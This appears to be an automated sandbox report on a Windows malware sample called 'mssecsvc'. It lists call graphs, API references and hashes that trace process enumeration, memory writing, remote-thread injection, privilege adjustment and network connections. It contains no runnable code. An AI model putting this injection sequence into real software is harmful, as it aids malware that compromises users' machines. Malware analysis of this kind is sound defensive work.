CreateThread CloseHandle 7154->7162 7163 a841d7 Sleep 7154->7163 7155->7154 7158 a84037 connect 7155->7158 7156->7157 7157->7154 7158->7154 7158->7159 7159->7154 7160->7154 7161->7154 7162->7154 7163->7154 7164 a841e3 GetTickCount 7163->7164 7164->7154 7166 a83d15 7165->7166 7167 a810ce 2 API calls 7165->7167 7168 a83d2a GetTickCount 7166->7168 7167->7166 7169 a83d42 7168->7169 7170 a83ddf GetVolumeInformationA 7169->7170 7171 a83e12 7170->7171 7172 a83ebd 7171->7172 7173 a83e4d 93 API calls 7171->7173 7174 a83ec9 CreateThread CloseHandle 7172->7174 7175 a83ee7 7172->7175 7182 a83e41 7173->7182 7174->7175 7176 a83ef8 42 API calls 7175->7176 7177 a83eec 7176->7177 7178 a810ce 2 API calls 7177->7178 7179 a83f16 7178->7179 7180 a83f27 22 API calls 7179->7180 7181 a83f1b 7180->7181 7183 a810ce 2 API calls 7181->7183 7182->7172 7184 a8339d 5 API calls 7182->7184 7185 a83f4d 7183->7185 7184->7172 7186 a83f5a WSAStartup CreateThread CloseHandle CreateEventA 7185->7186 7187 a8425f RtlExitUserThread 7185->7187 7191 a83fa3 7186->7191 7188 a83ff6 gethostbyname 7188->7191 7189 a83fe7 lstrlen 7189->7188 7189->7189 7190 a84012 socket 7190->7191 7194 a84037 connect 7190->7194 7191->7187 7191->7188 7191->7189 7191->7190 7192 a8421f SetEvent 7191->7192 7193 a84231 Sleep ResetEvent 7191->7193 7195 a84206 closesocket 7191->7195 7196 a84080 GetVersionExA 7191->7196 7197 a84103 wsprintfA 7191->7197 7198 a8412b CreateThread CloseHandle 7191->7198 7199 a841d7 Sleep 7191->7199 7192->7193 7193->7191 7194->7191 7194->7195 7195->7191 7196->7191 7197->7191 7198->7191 7199->7191 7200 a841e3 GetTickCount 7199->7200 7200->7191 6382 7fea2665 6384 7fea266b CreateThread CloseHandle 6382->6384 6385 7fea3bd0 6384->6385 6387 7fea3bd5 6385->6387 6388 7fea3c41 6387->6388 6391 7fea3bf3 GetWindowsDirectoryA 6387->6391 6440 7fea252f NtOpenSection 6388->6440 6390 7fea3c46 6393 7fea3c93 GetSystemDirectoryA 6390->6393 6441 7fea3c5a GetModuleHandleA 6390->6441 6395 7fea3ca9 6391->6395 6488 7fea3cb7 lstrcat 6393->6488 6528 7fea3cce LoadLibraryA 6395->6528 6440->6390 6442 7fea3c76 6441->6442 6443 7fea3c64 6441->6443 6567 7fea3c88 GetModuleHandleA 6442->6567 6444 7fea3c6c GetProcAddress 6443->6444 6444->6442 6489 7fea3cbe 6488->6489 6490 7fea3cce 144 API calls 6489->6490 6491 7fea3cc2 GetProcAddress LoadLibraryA 6490->6491 6493 7fea10ce 2 API calls 6491->6493 6494 7fea3d15 6493->6494 6495 7fea3d2a GetTickCount 6494->6495 6496 7fea3d42 6495->6496 6497 7fea3ddf GetVolumeInformationA 6496->6497 6498 7fea3e12 6497->6498 6499 7fea3ebd 6498->6499 6500 7fea3e4d 93 API calls 6498->6500 6501 7fea3ec9 CreateThread CloseHandle 6499->6501 6502 7fea3ee7 6499->6502 6509 7fea3e41 6500->6509 6501->6502 6503 7fea3ef8 42 API calls 6502->6503 6504 7fea3eec 6503->6504 6505 7fea10ce 2 API calls 6504->6505 6506 7fea3f16 6505->6506 6507 7fea3f27 22 API calls 6506->6507 6508 7fea3f1b 6507->6508 6511 7fea10ce 2 API calls 6508->6511 6509->6499 6510 7fea339d 5 API calls 6509->6510 6510->6499 6512 7fea3f4d 6511->6512 6513 7fea3f5a WSAStartup CreateThread CloseHandle CreateEventA 6512->6513 6514 7fea425f RtlExitUserThread 6512->6514 6525 7fea3fa3 6513->6525 6515 7fea3ff6 gethostbyname 6515->6525 6516 7fea3fe7 lstrlen 6516->6515 6516->6516 6517 7fea4012 socket 6520 7fea4037 connect 6517->6520 6517->6525 6518 7fea421f SetEvent 6519 7fea4231 Sleep ResetEvent 6518->6519 6519->6525 6521 7fea4206 closesocket 6520->6521 6520->6525 6521->6525 6522 7fea4080 GetVersionExA 6522->6525 6523 7fea4103 wsprintfA 6523->6525 6524 7fea412b CreateThread CloseHandle 6524->6525 6525->6514 6525->6515 6525->6516 6525->6517 6525->6518 6525->6519 6525->6521 6525->6522 6525->6523 6525->6524 6526 7fea41d7 Sleep 6525->6526 6526->6525 6527 7fea41e3 GetTickCount 6526->6527 6527->6525 6720 7fea3ce3 GetProcAddress LoadLibraryA 6528->6720 6568 7fea3c93 GetSystemDirectoryA 6567->6568 6610 7fea26d4 6567->6610 6570 7fea3cb7 170 API calls 6568->6570 6571 7fea3ca9 6570->6571 6572 7fea3cce 144 API calls 6571->6572 6573 7fea3cc2 GetProcAddress LoadLibraryA 6572->6573 6575 7fea10ce 2 API calls 6573->6575 6576 7fea3d15 6575->6576 6577 7fea3d2a GetTickCount 6576->6577 6578 7fea3d42 6577->6578 6579 7fea3ddf GetVolumeInformationA 6578->6579 6580 7fea3e12 6579->6580 6581 7fea3ebd 6580->6581 6612 7fea3e4d LoadLibraryA 6580->6612 6583 7fea3ec9 CreateThread CloseHandle 6581->6583 6584 7fea3ee7 6581->6584 6583->6584 6642 7fea3ef8 LoadLibraryA 6584->6642 6611 7fea26c8 6610->6611 6611->6568 6664 7fea3e64 GetProcAddress GetModuleFileNameA wsprintfA 6612->6664 6643 7fea3f16 6642->6643 6644 7fea10ce 2 API calls 6642->6644 6645 7fea3f27 22 API calls 6643->6645 6644->6643 6646 7fea3f1b 6645->6646 6647 7fea10ce 2 API calls 6646->6647 6648 7fea3f4d 6647->6648 6649 7fea3f5a WSAStartup CreateThread CloseHandle CreateEventA 6648->6649 6650 7fea425f RtlExitUserThread 6648->6650 6653 7fea3fa3 6649->6653 6651 7fea3ff6 gethostbyname 6651->6653 6652 7fea3fe7 lstrlen 6652->6651 6652->6652 6653->6650 6653->6651 6653->6652 6654 7fea4012 socket 6653->6654 6655 7fea421f SetEvent 6653->6655 6656 7fea4231 Sleep ResetEvent 6653->6656 6658 7fea4206 closesocket 6653->6658 6659 7fea4080 GetVersionExA 6653->6659 6660 7fea4103 wsprintfA 6653->6660 6661 7fea412b CreateThread CloseHandle 6653->6661 6662 7fea41d7 Sleep 6653->6662 6654->6653 6657 7fea4037 connect 6654->6657 6655->6656 6656->6653 6657->6653 6657->6658 6658->6653 6659->6653 6660->6653 6661->6653 6662->6653 6663 7fea41e3 GetTickCount 6662->6663 6663->6653 6665 7fea3e98 6664->6665 6666 7fea3ebd 6665->6666 6693 7fea339d 6665->6693 6668 7fea3ec9 CreateThread CloseHandle 6666->6668 6669 7fea3ee7 6666->6669 6668->6669 6670 7fea3ef8 42 API calls 6669->6670 6671 7fea3eec 6670->6671 6672 7fea10ce 2 API calls 6671->6672 6673 7fea3f16 6672->6673 6701 7fea3f27 LoadLibraryA 6673->6701 6694 7fea33d3 6693->6694 6694->6694 6695 7fea33d8 NtOpenSection 6694->6695 6696 7fea33f7 NtQuerySystemInformation 6695->6696 6700 7fea358b 6695->6700 6697 7fea3407 MapViewOfFile CloseHandle 6696->6697 6699 7fea3448 6697->6699 6697->6700 6698 7fea344f UnmapViewOfFile 6698->6700 6699->6698 6699->6700 6700->6666 6702 7fea425f RtlExitUserThread 6701->6702 6703 7fea3f35 6701->6703 6704 7fea3f4d 6703->6704 6705 7fea10ce 2 API calls 6703->6705 6704->6702 6706 7fea3f5a WSAStartup CreateThread CloseHandle CreateEventA 6704->6706 6705->6704 6709 7fea3fa3 6706->6709 6707 7fea3ff6 gethostbyname 6707->6709 6708 7fea3fe7 lstrlen 6708->6707 6708->6708 6709->6702 6709->6707 6709->6708 6710 7fea4012 socket 6709->6710 6711 7fea421f SetEvent 6709->6711 6712 7fea4231 Sleep ResetEvent 6709->6712 6714 7fea4206 closesocket 6709->6714 6715 7fea4080 GetVersionExA 6709->6715 6716 7fea4103 wsprintfA 6709->6716 6717 7fea412b CreateThread CloseHandle 6709->6717 6718 7fea41d7 Sleep 6709->6718 6710->6709 6713 7fea4037 connect 6710->6713 6711->6712 6712->6709 6713->6709 6713->6714 6714->6709 6715->6709 6716->6709 6717->6709 6718->6709 6719 7fea41e3 GetTickCount 6718->6719 6719->6709 6721 7fea3d15 6720->6721 6722 7fea10ce 2 API calls 6720->6722 6723 7fea3d2a GetTickCount 6721->6723 6722->6721 6724 7fea3d42 6723->6724 6725 7fea3ddf GetVolumeInformationA 6724->6725 6726 7fea3e12 6725->6726 6727 7fea3ebd 6726->6727 6728 7fea3e4d 93 API calls 6726->6728 6729 7fea3ec9 CreateThread CloseHandle 6727->6729 6730 7fea3ee7 6727->6730 6737 7fea3e41 6728->6737 6729->6730 6731 7fea3ef8 42 API calls 6730->6731 6732 7fea3eec 6731->6732 6733 7fea10ce 2 API calls 6732->6733 6734 7fea3f16 6733->6734 6735 7fea3f27 22 API calls 6734->6735 6736 7fea3f1b 6735->6736 6739 7fea10ce 2 API calls 6736->6739 6737->6727 6738 7fea339d 5 API calls 6737->6738 6738->6727 6740 7fea3f4d 6739->6740 6741 7fea3f5a WSAStartup CreateThread CloseHandle CreateEventA 6740->6741 6742 7fea425f RtlExitUserThread 6740->6742 6753 7fea3fa3 6741->6753 6743 7fea3ff6 gethostbyname 6743->6753 6744 7fea3fe7 lstrlen 6744->6743 6744->6744 6745 7fea4012 socket 6748 7fea4037 connect 6745->6748 6745->6753 6746 7fea421f SetEvent 6747 7fea4231 Sleep ResetEvent 6746->6747 6747->6753 6749 7fea4206 closesocket 6748->6749 6748->6753 6749->6753 6750 7fea4080 GetVersionExA 6750->6753 6751 7fea4103 wsprintfA 6751->6753 6752 7fea412b CreateThread CloseHandle 6752->6753 6753->6742 6753->6743 6753->6744 6753->6745 6753->6746 6753->6747 6753->6749 6753->6750 6753->6751 6753->6752 6754 7fea41d7 Sleep 6753->6754 6754->6753 6755 7fea41e3 GetTickCount 6754->6755 6755->6753 7201 7fea433a 7204 7fea144a LookupPrivilegeValueA NtAdjustPrivilegesToken 7201->7204 7203 7fea4340 7204->7203 7205 a83378 7206 a8337d 7205->7206 7207 a83407 MapViewOfFile CloseHandle 7206->7207 7208 a833d8 NtOpenSection 7206->7208 7211 a83448 7207->7211 7212 a8358b 7207->7212 7210 a833f7 NtQuerySystemInformation 7208->7210 7208->7212 7209 a8344f UnmapViewOfFile 7209->7212 7210->7207 7211->7209 7211->7212 6768 a8433a 6771 a8144a LookupPrivilegeValueA NtAdjustPrivilegesToken 6768->6771 6770 a84340 6771->6770 6091 7fea6579 6094 7fea6586 6091->6094 6095 7fea6583 6094->6095 6096 7fea6591 6094->6096 6098 7fea6597 6096->6098 6101 7fea2574 6098->6101 6120 7fea252f NtOpenSection 6101->6120 6103 7fea257c 6104 7fea2582 NtMapViewOfSection CloseHandle 6103->6104 6105 7fea2661 6103->6105 6104->6105 6106 7fea25ba 6104->6106 6105->6095 6107 7fea25ef 6106->6107 6121 7fea2477 NtProtectVirtualMemory NtWriteVirtualMemory 6106->6121 6122 7fea2477 NtProtectVirtualMemory NtWriteVirtualMemory 6107->6122 6110 7fea2600 6123 7fea2477 NtProtectVirtualMemory NtWriteVirtualMemory 6110->6123 6112 7fea2611 6124 7fea2477 NtProtectVirtualMemory NtWriteVirtualMemory 6112->6124 6114 7fea2622 6115 7fea2637 6114->6115 6125 7fea2477 NtProtectVirtualMemory NtWriteVirtualMemory 6114->6125 6117 7fea264c 6115->6117 6126 7fea2477 NtProtectVirtualMemory NtWriteVirtualMemory 6115->6126 6117->6105 6127 7fea2477 NtProtectVirtualMemory NtWriteVirtualMemory 6117->6127 6120->6103 6121->6107 6122->6110 6123->6112 6124->6114 6125->6115 6126->6117 6127->6105 6128 7fea02fe 6129 7fea0415 6128->6129 6131 7fea042d 6129->6131 6162 7fea10ce 6131->6162 6133 7fea048f 6134 7fea04dd 6133->6134 6135 7fea04b0 GetModuleHandleA 6133->6135 6136 7fea04f8 GetVersion 6134->6136 6135->6134 6137 7fea05ca 6136->6137 6138 7fea050f VirtualAlloc 6136->6138 6139 7fea05a9 CloseHandle 6137->6139 6140 7fea05d3 SetProcessAffinityMask 6137->6140 6138->6139 6144 7fea0532 6138->6144 6142 7fea05f2 GetModuleHandleA 6139->6142 6169 7fea05f2 GetModuleHandleA 6140->6169 6143 7fea10ce 2 API calls 6142->6143 6146 7fea05ec 6143->6146 6144->6139 6166 7fea05ba 6144->6166 6145 7fea06fc lstrcpyW 6188 7fea24ae lstrcpyW lstrlenW 6145->6188 6146->6139 6146->6145 6148 7fea074c NtMapViewOfSection 6146->6148 6149 7fea0717 GetPEB lstrcpyW lstrcatW 6146->6149 6152 7fea0780 NtOpenProcessToken 6146->6152 6153 7fea07c5 CreateToolhelp32Snapshot Process32First 6146->6153 6154 7fea07eb Process32Next 6146->6154 6157 7fea07fd OpenProcess 6146->6157 6158 7fea2574 5 API calls 6146->6158 6159 7fea085c CloseHandle 6146->6159 6160 7fea0834 CreateRemoteThread 6146->6160 6161 7fea05ba Sleep 6146->6161 6191 7fea07ac 6146->6191 6148->6139 6148->6146 6151 7fea24ae 3 API calls 6149->6151 6151->6146 6152->6146 6152->6153 6153->6146 6154->6146 6156 7fea0865 CloseHandle 6154->6156 6156->6139 6157->6146 6157->6154 6158->6146 6159->6154 6160->6146 6160->6159 6161->6159 6163 7fea10db 6162->6163 6163->6162 6164 7fea115c 6163->6164 6165 7fea1133 GetModuleHandleA GetProcAddress 6163->6165 6164->6133 6165->6163 6167 7fea05c9 6166->6167 6168 7fea05bf Sleep 6166->6168 6167->6139 6168->6166 6170 7fea10ce 2 API calls 6169->6170 6171 7fea060e 6170->6171 6172 7fea05a9 CloseHandle 6171->6172 6173 7fea06fc lstrcpyW 6171->6173 6175 7fea074c NtMapViewOfSection 6171->6175 6176 7fea0717 GetPEB lstrcpyW lstrcatW 6171->6176 6178 7fea0780 NtOpenProcessToken 6171->6178 6179 7fea07c5 CreateToolhelp32Snapshot Process32First 6171->6179 6180 7fea07eb Process32Next 6171->6180 6181 7fea07ac 30 API calls 6171->6181 6183 7fea07fd OpenProcess 6171->6183 6184 7fea2574 5 API calls 6171->6184 6185 7fea085c CloseHandle 6171->6185 6186 7fea0834 CreateRemoteThread 6171->6186 6187 7fea05ba Sleep 6171->6187 6172->6169 6174 7fea24ae 3 API calls 6173->6174 6174->6171 6175->6171 6175->6172 6177 7fea24ae 3 API calls 6176->6177 6177->6171 6178->6171 6178->6179 6179->6171 6180->6171 6182 7fea0865 CloseHandle 6180->6182 6181->6171 6182->6172 6183->6171 6183->6180 6184->6171 6185->6180 6186->6171 6186->6185 6187->6185 6189 7fea6c19 6188->6189 6190 7fea24ea NtCreateSection 6189->6190 6190->6146 6213 7fea144a LookupPrivilegeValueA NtAdjustPrivilegesToken 6191->6213 6193 7fea07b2 FreeLibrary CloseHandle 6194 7fea07c5 CreateToolhelp32Snapshot Process32First 6193->6194 6211 7fea060e 6194->6211 6195 7fea07eb Process32Next 6196 7fea0865 CloseHandle 6195->6196 6195->6211 6197 7fea05a9 CloseHandle 6196->6197 6199 7fea05f2 GetModuleHandleA 6197->6199 6198 7fea07fd OpenProcess 6198->6195 6198->6211 6201 7fea10ce 2 API calls 6199->6201 6200 7fea2574 5 API calls 6200->6211 6201->6211 6202 7fea085c CloseHandle 6202->6195 6203 7fea0834 CreateRemoteThread 6203->6202 6203->6211 6204 7fea05ba Sleep 6204->6202 6205 7fea06fc lstrcpyW 6206 7fea24ae 3 API calls 6205->6206 6206->6211 6207 7fea074c NtMapViewOfSection 6207->6197 6207->6211 6208 7fea0717 GetPEB lstrcpyW lstrcatW 6209 7fea24ae 3 API calls 6208->6209 6209->6211 6210 7fea0780 NtOpenProcessToken 6210->6194 6210->6211 6211->6194 6211->6195 6211->6197 6211->6198 6211->6200 6211->6202 6211->6203 6211->6204 6211->6205 6211->6207 6211->6208 6211->6210 6212 7fea07ac 13 API calls 6211->6212 6212->6211 6213->6193 6223 a802fe 6224 a80415 6223->6224 6226 a8042d 6224->6226 6255 a810ce 6226->6255 6228 a8048f 6229 a804dd 6228->6229 6230 a804b0 GetModuleHandleA 6228->6230 6231 a804f8 GetVersion 6229->6231 6230->6229 6232 a8050f VirtualAlloc 6231->6232 6247 a805ca 6231->6247 6233 a805a9 FindCloseChangeNotification 6232->6233 6236 a80532 6232->6236 6233->6247 6234 a805d3 SetProcessAffinityMask 6262 a805f2 GetModuleHandleA 6234->6262 6236->6233 6259 a805ba 6236->6259 6237 a806fc lstrcpyW 6284 a824ae lstrcpyW lstrlenW 6237->6284 6239 a8074c NtMapViewOfSection 6239->6233 6239->6247 6240 a80717 GetPEB lstrcpyW lstrcatW 6241 a824ae 3 API calls 6240->6241 6241->6247 6243 a80780 NtOpenProcessToken 6244 a807c5 CreateToolhelp32Snapshot Process32First 6243->6244 6243->6247 6245 a807eb Process32Next 6244->6245 6246 a80865 CloseHandle 6245->6246 6245->6247 6246->6233 6247->6233 6247->6234 6247->6237 6247->6239 6247->6240 6247->6243 6247->6245 6248 a807fd OpenProcess 6247->6248 6251 a807b7 CreateToolhelp32Snapshot Process32First 6247->6251 6252 a8085c FindCloseChangeNotification 6247->6252 6253 a80834 CreateRemoteThread 6247->6253 6254 a805ba Sleep 6247->6254 6287 a807ac 6247->6287 6310 a82574 6247->6310 6248->6245 6248->6247 6251->6245 6252->6245 6253->6247 6253->6252 6254->6252 6257 a810db 6255->6257 6256 a8115c 6256->6228 6257->6255 6257->6256 6258 a81133 GetModuleHandleA GetProcAddress 6257->6258 6258->6257 6260 a805c9 6259->6260 6261 a805bf Sleep 6259->6261 6260->6233 6261->6259 6263 a810ce 2 API calls 6262->6263 6280 a805ca 6263->6280 6264 a805a9 FindCloseChangeNotification 6264->6280 6265 a805d3 SetProcessAffinityMask 6266 a805f2 30 API calls 6265->6266 6266->6280 6267 a806fc lstrcpyW 6268 a824ae 3 API calls 6267->6268 6268->6280 6269 a8074c NtMapViewOfSection 6269->6264 6269->6280 6270 a80717 GetPEB lstrcpyW lstrcatW 6271 a824ae 3 API calls 6270->6271 6271->6280 6272 a80780 NtOpenProcessToken 6273 a807c5 CreateToolhelp32Snapshot Process32First 6272->6273 6272->6280 6274 a807eb Process32Next 6273->6274 6275 a80865 CloseHandle 6274->6275 6274->6280 6275->6264 6276 a807fd OpenProcess 6276->6274 6276->6280 6277 a807ac 30 API calls 6277->6280 6278 a82574 5 API calls 6278->6280 6279 a807b7 CreateToolhelp32Snapshot Process32First 6279->6274 6280->6264 6280->6265 6280->6267 6280->6269 6280->6270 6280->6272 6280->6274 6280->6276 6280->6277 6280->6278 6280->6279 6281 a8085c FindCloseChangeNotification 6280->6281 6282 a80834 CreateRemoteThread 6280->6282 6283 a805ba Sleep 6280->6283 6281->6274 6282->6280 6282->6281 6283->6281 6285 a86c19 6284->6285 6286 a824ea NtCreateSection 6285->6286 6286->6247 6329 a8144a LookupPrivilegeValueA NtAdjustPrivilegesToken 6287->6329 6289 a807b2 FreeLibrary FindCloseChangeNotification 6290 a807c5 CreateToolhelp32Snapshot Process32First 6289->6290 6291 a807eb Process32Next 6290->6291 6292 a80865 CloseHandle 6291->6292 6300 a805ca 6291->6300 6294 a805a9 FindCloseChangeNotification 6292->6294 6293 a807fd OpenProcess 6293->6291 6293->6300 6294->6300 6295 a805d3 SetProcessAffinityMask 6297 a805f2 29 API calls 6295->6297 6296 a82574 5 API calls 6296->6300 6297->6300 6298 a8085c FindCloseChangeNotification 6298->6291 6299 a80834 CreateRemoteThread 6299->6298 6299->6300 6300->6291 6300->6293 6300->6294 6300->6295 6300->6296 6300->6298 6300->6299 6301 a805ba Sleep 6300->6301 6302 a806fc lstrcpyW 6300->6302 6304 a8074c NtMapViewOfSection 6300->6304 6305 a80717 GetPEB lstrcpyW lstrcatW 6300->6305 6307 a80780 NtOpenProcessToken 6300->6307 6308 a807ac 29 API calls 6300->6308 6309 a807b7 CreateToolhelp32Snapshot Process32First 6300->6309 6301->6298 6303 a824ae 3 API calls 6302->6303 6303->6300 6304->6294 6304->6300 6306 a824ae 3 API calls 6305->6306 6306->6300 6307->6290 6307->6300 6308->6300 6309->6291 6330 a8252f NtOpenSection 6310->6330 6312 a8257c 6313 a82661 6312->6313 6314 a82582 NtMapViewOfSection FindCloseChangeNotification 6312->6314 6313->6247 6314->6313 6316 a825ba 6314->6316 6315 a825ef 6332 a82477 NtProtectVirtualMemory NtWriteVirtualMemory 6315->6332 6316->6315 6331 a82477 NtProtectVirtualMemory NtWriteVirtualMemory 6316->6331 6319 a82600 6333 a82477 NtProtectVirtualMemory NtWriteVirtualMemory 6319->6333 6321 a82611 6334 a82477 NtProtectVirtualMemory NtWriteVirtualMemory 6321->6334 6323 a82622 6324 a82637 6323->6324 6335 a82477 NtProtectVirtualMemory NtWriteVirtualMemory 6323->6335 6325 a8264c 6324->6325 6336 a82477 NtProtectVirtualMemory NtWriteVirtualMemory 6324->6336 6325->6313 6337 a82477 NtProtectVirtualMemory NtWriteVirtualMemory 6325->6337 6329->6289 6330->6312 6331->6315 6332->6319 6333->6321 6334->6323 6335->6324 6336->6325 6337->6313 6214 a837b1 6216 a837b7 WaitForSingleObject 6214->6216 6217 a837dd 6216->6217 6218 a837d3 closesocket 6216->6218 6218->6217 6772 a83331 6774 a8333a 6772->6774 6775 a83341 Sleep 6774->6775 6775->6775 6343 a810cb 6344 a810ce 6343->6344 6345 a8115c 6344->6345 6346 a81133 GetModuleHandleA GetProcAddress 6344->6346 6346->6344 6776 a80000 6777 a80004 6776->6777 6778 a800a1 6777->6778 6780 a8025e 6777->6780 6784 a80105 6780->6784 6783 a80278 6783->6778 6785 a80116 GetPEB 6784->6785 6785->6783 6786 7fea655f 6787 7fea6586 5 API calls 6786->6787 6788 7fea6569 6787->6788 7234 a8655f 7235 a86586 5 API calls 7234->7235 7236 a86569 7235->7236 6347 7fea1196 GetProcAddress

                                                                                                                                                                Executed Functions

                                                                                                                                                                Function 00A8042D Relevance: 33.5, APIs: 16, Strings: 3, Instructions: 288memoryCOMMON
                                                                                                                                                                Download Yara Rule

                                                                                                                                                                Control-flow Graph

                                                                                                                                                                • Executed
                                                                                                                                                                • Not Executed
                                                                                                                                                                control_flow_graph 0 a8042d-a804a4 call a810ce 3 a804dd 0->3 4 a804a6-a804db call a8273c GetModuleHandleA 0->4 6 a804e4-a80509 call a82750 GetVersion 3->6 4->6 10 a805ca-a805d1 6->10 11 a8050f-a80530 VirtualAlloc 6->11 12 a805a9-a805b3 FindCloseChangeNotification 10->12 14 a805d3-a805fc SetProcessAffinityMask call a805f2 10->14 11->12 13 a80532-a80562 call a80305 11->13 12->10 13->12 24 a80564-a8057b 13->24 19 a805fe-a8061c 14->19 20 a80621-a80630 14->20 19->20 22 a80639-a80652 20->22 23 a80632 20->23 22->12 25 a80658-a80671 22->25 23->22 24->12 29 a8057d-a805a4 call a805ba 24->29 25->12 26 a80677-a80690 25->26 26->12 28 a80696-a8069c 26->28 30 a806d8-a806de 28->30 31 a8069e-a806b1 28->31 29->12 32 a806fc-a80715 lstrcpyW call a824ae 30->32 33 a806e0-a806f3 30->33 31->12 34 a806b7-a806bd 31->34 40 a8074c-a80775 NtMapViewOfSection 32->40 41 a80717-a80746 GetPEB lstrcpyW lstrcatW call a824ae 32->41 33->32 35 a806f5 33->35 34->30 38 a806bf-a806d2 34->38 35->32 38->12 38->30 40->12 44 a8077b-a8078f call a80305 NtOpenProcessToken 40->44 41->12 41->40 49 a80791-a807a3 call a8115d call a807ac 44->49 50 a807c5-a807e4 CreateToolhelp32Snapshot Process32First 44->50 60 a8080e-a8080f 49->60 61 a807a5 49->61 52 a807eb-a807f5 Process32Next 50->52 53 a80865-a80872 CloseHandle 52->53 54 a807f7-a807fb 52->54 53->12 54->52 56 a807fd-a8080d OpenProcess 54->56 56->52 59 a8080f 56->59 62 a80810-a80818 call a82574 59->62 60->62 61->62 63 a807a7-a807e4 CreateToolhelp32Snapshot Process32First 61->63 67 a8081a-a80820 62->67 68 a8085c-a80863 FindCloseChangeNotification 62->68 63->52 67->68 69 a80822-a80832 67->69 68->52 69->68 70 a80834-a8084b CreateRemoteThread 69->70 70->68 71 a8084d-a80857 call a805ba 70->71 71->68
                                                                                                                                                                APIs
                                                                                                                                                                • GetModuleHandleA.KERNEL32(00000000), ref: 00A804BE
                                                                                                                                                                • GetVersion.KERNEL32 ref: 00A80500
                                                                                                                                                                • VirtualAlloc.KERNEL32(00000000,00007700,08001000,00000040), ref: 00A80528
                                                                                                                                                                • FindCloseChangeNotification.KERNELBASE(?), ref: 00A805AD
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 00000004.00000002.557802170.0000000000A80000.00000040.10000000.00040000.00000000.sdmp, Offset: 00A80000, based on PE: false
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_4_2_a80000_mssecsvc.jbxd
                                                                                                                                                                Yara matches
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: AllocChangeCloseFindHandleModuleNotificationVersionVirtual
                                                                                                                                                                • String ID: \BaseNamedObjects\futtVt$\BaseNamedObjects\futtVt$csrs
                                                                                                                                                                • API String ID: 2920002527-3037761503
                                                                                                                                                                • Opcode ID: 3a654040b6d9d95f3ee7849b83962325e11fd23b386bb78eaeec9d65473c67c2
                                                                                                                                                                • Instruction ID: 49f3412faf89b33a63aaa6a2a50cd2a3413d1ce9f86ac085f4b13fca1e5702fa
                                                                                                                                                                • Opcode Fuzzy Hash: 3a654040b6d9d95f3ee7849b83962325e11fd23b386bb78eaeec9d65473c67c2
                                                                                                                                                                • Instruction Fuzzy Hash: A2B19B31605249FFEB65AF20C80AFAA3BA9EF44711F104128FD099E181D7F19F59CB69
                                                                                                                                                                Uniqueness

                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                Function 00A805F2 Relevance: 29.9, APIs: 14, Strings: 3, Instructions: 193stringnativeprocessCOMMON
                                                                                                                                                                Download Yara Rule

                                                                                                                                                                Control-flow Graph

                                                                                                                                                                • Executed
                                                                                                                                                                • Not Executed
                                                                                                                                                                control_flow_graph 73 a805f2-a80615 GetModuleHandleA call a810ce 76 a805a9-a805b3 FindCloseChangeNotification 73->76 77 a80617-a80630 73->77 80 a805ca-a805d1 76->80 78 a80639-a80652 77->78 79 a80632 77->79 78->76 81 a80658-a80671 78->81 79->78 80->76 82 a805d3-a805fc SetProcessAffinityMask call a805f2 80->82 81->76 83 a80677-a80690 81->83 91 a805fe-a8061c 82->91 92 a80621-a80630 82->92 83->76 85 a80696-a8069c 83->85 87 a806d8-a806de 85->87 88 a8069e-a806b1 85->88 89 a806fc-a80715 lstrcpyW call a824ae 87->89 90 a806e0-a806f3 87->90 88->76 93 a806b7-a806bd 88->93 98 a8074c-a80775 NtMapViewOfSection 89->98 99 a80717-a80746 GetPEB lstrcpyW lstrcatW call a824ae 89->99 90->89 94 a806f5 90->94 91->92 92->78 92->79 93->87 96 a806bf-a806d2 93->96 94->89 96->76 96->87 98->76 101 a8077b-a8078f call a80305 NtOpenProcessToken 98->101 99->76 99->98 105 a80791-a807a3 call a8115d call a807ac 101->105 106 a807c5-a807e4 CreateToolhelp32Snapshot Process32First 101->106 116 a8080e-a8080f 105->116 117 a807a5 105->117 108 a807eb-a807f5 Process32Next 106->108 109 a80865-a80872 CloseHandle 108->109 110 a807f7-a807fb 108->110 109->76 110->108 112 a807fd-a8080d OpenProcess 110->112 112->108 115 a8080f 112->115 118 a80810-a80818 call a82574 115->118 116->118 117->118 119 a807a7-a807e4 CreateToolhelp32Snapshot Process32First 117->119 123 a8081a-a80820 118->123 124 a8085c-a80863 FindCloseChangeNotification 118->124 119->108 123->124 125 a80822-a80832 123->125 124->108 125->124 126 a80834-a8084b CreateRemoteThread 125->126 126->124 127 a8084d-a80857 call a805ba 126->127 127->124
                                                                                                                                                                APIs
                                                                                                                                                                • FindCloseChangeNotification.KERNELBASE(?), ref: 00A805AD
                                                                                                                                                                • GetModuleHandleA.KERNEL32(00A805EC), ref: 00A805F2
                                                                                                                                                                • lstrcpyW.KERNEL32(\BaseNamedObjects\futtVt,\BaseNamedObjects\futtVt), ref: 00A8070A
                                                                                                                                                                • lstrcpyW.KERNEL32(\BaseNamedObjects\futtVt,?), ref: 00A8072D
                                                                                                                                                                • lstrcatW.KERNEL32(\BaseNamedObjects\futtVt,\futtVt), ref: 00A8073B
                                                                                                                                                                • NtMapViewOfSection.NTDLL(00000000,000000FF,?,00000000,00007700,00000000,?,00000002,00000000,00000040), ref: 00A8076B
                                                                                                                                                                • NtOpenProcessToken.NTDLL(000000FF,00000020), ref: 00A80786
                                                                                                                                                                • CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00A807C9
                                                                                                                                                                • Process32First.KERNEL32 ref: 00A807DC
                                                                                                                                                                • Process32Next.KERNEL32 ref: 00A807ED
                                                                                                                                                                • OpenProcess.KERNEL32(0000002A,00000000,?,?,?,?,?,?,00000002,00000000,00000040,00000000,00007700), ref: 00A80805
                                                                                                                                                                • CreateRemoteThread.KERNELBASE(?,00000000,00000000,-00003BD0,00000002,00000000), ref: 00A80842
                                                                                                                                                                • FindCloseChangeNotification.KERNELBASE(?,?,?,?,?,?,00000002,00000000,00000040,00000000,00007700), ref: 00A8085D
                                                                                                                                                                • CloseHandle.KERNEL32 ref: 00A8086C
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 00000004.00000002.557802170.0000000000A80000.00000040.10000000.00040000.00000000.sdmp, Offset: 00A80000, based on PE: false
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_4_2_a80000_mssecsvc.jbxd
